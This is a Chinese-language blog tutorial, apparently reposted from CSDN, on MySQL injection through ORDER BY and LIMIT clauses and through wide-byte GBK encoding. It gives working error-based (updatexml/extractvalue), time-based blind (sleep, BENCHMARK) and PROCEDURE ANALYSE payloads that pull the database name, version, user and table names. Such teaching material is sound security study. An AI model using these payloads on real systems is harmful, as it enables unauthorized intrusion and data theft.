order by注入与limit注入,以及宽字节注入

order by

order by是mysql中对查询数据进行排序的方法,利用order by子句进行快速猜解列数,再配合union select语句进行回显。可以通过修改order参数为较大的整数看回显情况来判断。在不知道列名的情况下可以通过列的的序号来指代相应的列

select * from users order by x;
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序

order by注入

1.获取当前的数据库:

select * from users order by id and(updatexml(1,concat(0x7e,(select database()),0x7e),1));

2.获取数据库的版本

select * from users order by id and(updatexml(1,concat(0x7e,(select version()),0x7e),1));

3.获取用户

select * from users order by id and(updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.获取数据库个数

select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));

5.获取数据库列表信息

select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),0));

6.获取表的名字

select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 0,1),0x7e),0));

基于时间的盲注

order by if(1=1,1,sleep(1))
select * from hehe order by if(1=1,1,sleep(1)); #正常时间
select * from hehe order by if(1=2,1,sleep(1)); #有延迟
延迟时间=sleep(1)的秒数*所查询数据条数   如果查询的数据很多时,延迟的时间就会很长。

order by 报错注入

利用updatexml

updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数
select * from hehe order by updatexml(1,if(1=1,1,user()),1);#查询正常
select * from hehe order by updatexml(1,if(1=2,1,user()),1);#查询报错

利用extractvalue

extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数
select * from hehe order by extractvalue(1,if(1=1,1,user()));#查询正常
select * from hehe order by extractvalue(1,if(1=2,1,user()));#查询报错

limit注入

limit x,y 从查询结果的第x条开始取y条记录
常出现的场景在分页功能,一般都有第x页,展示y条数据。
参数一般为 page=x&size=y

无order by

执行语句 select id from users limit 0,1; 
这种情况下的 limit 后面可以使用union进行联合查询注入
执行语句 select id from users limit 0,1 union select username from users;

存在 order by

此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入
limit 关键字后面还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难,因此这里以PROCEDURE为例进行注入,使用 PROCEDURE函数进行注入,ANALYSE支持两个参数,首先尝试一下默认两个参数

mysql> select id from users order by id desc limit 0,1 procedure analyse(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

尝试一下对其中一个参数进行注入,尝试报错注入

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

不存在回显就用延迟注入,如果 select version(); 第一个为5,则多次执行sha(1)达到延迟效果,这里不支持使用 sleep,所以需要使用BENCHMARK进行替代

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1)))),1);
ERROR 1105 (HY000): XPATH syntax error: ':0'

宽字节注入

单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)
多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字

当某字符的大小为一个字节时,称其字符为窄字节.
当某字符的大小为两个字节时,称其字符为宽字节.
所有英文默认占一个字节,汉字占两个字节
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等
GBK编码,是对GB2312编码的扩展,用于存储汉字。GBK编码采用双字节编码方案,其编码范围:8140- FEFE
宽字节注入的产生是字符集不一致造成的,如:前端使用UTF-8编码,数据库使用GBK编码,在进行解码时,数据库将两位的UTF-8编码读取成一位GBK编码,从而绕过服务器的转义函数,进行的sql注入。

猜你喜欢

转载自blog.csdn.net/weixin_52776876/article/details/126253580